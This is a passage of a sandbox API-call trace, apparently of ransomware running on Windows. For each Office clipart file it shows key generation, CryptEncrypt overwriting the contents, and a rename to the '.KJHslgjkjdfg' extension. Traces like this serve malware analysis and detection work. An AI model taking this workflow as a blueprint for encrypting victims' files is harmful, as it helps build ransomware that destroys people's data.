Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.134] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.134] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.134] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.134] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.134] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.134] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.134] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.134] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.134] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2044, lpOverlapped=0x0) returned 1 [0194.135] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2050, dwBufLen=0x2050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2050) returned 1 [0194.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.136] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2050, lpOverlapped=0x0) returned 1 [0194.136] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.136] SetEndOfFile (hFile=0x130) returned 1 [0194.137] GetProcessHeap () returned 0x990000 [0194.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.137] GetProcessHeap () returned 0x990000 [0194.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.kjhslgjkjdfg")) returned 1 [0194.138] CloseHandle (hObject=0x130) returned 1 [0194.138] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0194.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.139] GetProcessHeap () returned 0x990000 [0194.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.139] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.141] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.141] GetProcessHeap () returned 0x990000 [0194.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.141] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.141] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.141] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.142] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.142] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.142] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.142] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.142] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.142] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b68, lpOverlapped=0x0) returned 1 [0194.143] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70) returned 1 [0194.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.143] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b70, lpOverlapped=0x0) returned 1 [0194.144] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.144] SetEndOfFile (hFile=0x130) returned 1 [0194.150] GetProcessHeap () returned 0x990000 [0194.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.150] GetProcessHeap () returned 0x990000 [0194.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.kjhslgjkjdfg")) returned 1 [0194.151] CloseHandle (hObject=0x130) returned 1 [0194.151] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0194.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.152] GetProcessHeap () returned 0x990000 [0194.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.152] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.152] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.155] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.155] GetProcessHeap () returned 0x990000 [0194.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.156] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.156] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.156] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.156] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.156] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.156] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.156] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.156] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.156] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.156] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1574, lpOverlapped=0x0) returned 1 [0194.157] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580, dwBufLen=0x1580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580) returned 1 [0194.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.157] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1580, lpOverlapped=0x0) returned 1 [0194.157] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.157] SetEndOfFile (hFile=0x130) returned 1 [0194.160] GetProcessHeap () returned 0x990000 [0194.160] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.160] GetProcessHeap () returned 0x990000 [0194.160] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.kjhslgjkjdfg")) returned 1 [0194.161] CloseHandle (hObject=0x130) returned 1 [0194.161] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0194.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.162] GetProcessHeap () returned 0x990000 [0194.162] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.162] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.163] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.164] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.164] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.164] GetProcessHeap () returned 0x990000 [0194.164] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.164] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.164] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.165] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.165] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbf4, lpOverlapped=0x0) returned 1 [0194.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc00, dwBufLen=0xc00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc00) returned 1 [0194.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.165] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc00, lpOverlapped=0x0) returned 1 [0194.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.165] SetEndOfFile (hFile=0x130) returned 1 [0194.168] GetProcessHeap () returned 0x990000 [0194.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.168] GetProcessHeap () returned 0x990000 [0194.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.kjhslgjkjdfg")) returned 1 [0194.169] CloseHandle (hObject=0x130) returned 1 [0194.169] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0194.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.170] GetProcessHeap () returned 0x990000 [0194.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.170] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.170] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.172] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.172] GetProcessHeap () returned 0x990000 [0194.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.172] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.172] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.172] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.172] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.173] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.173] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, 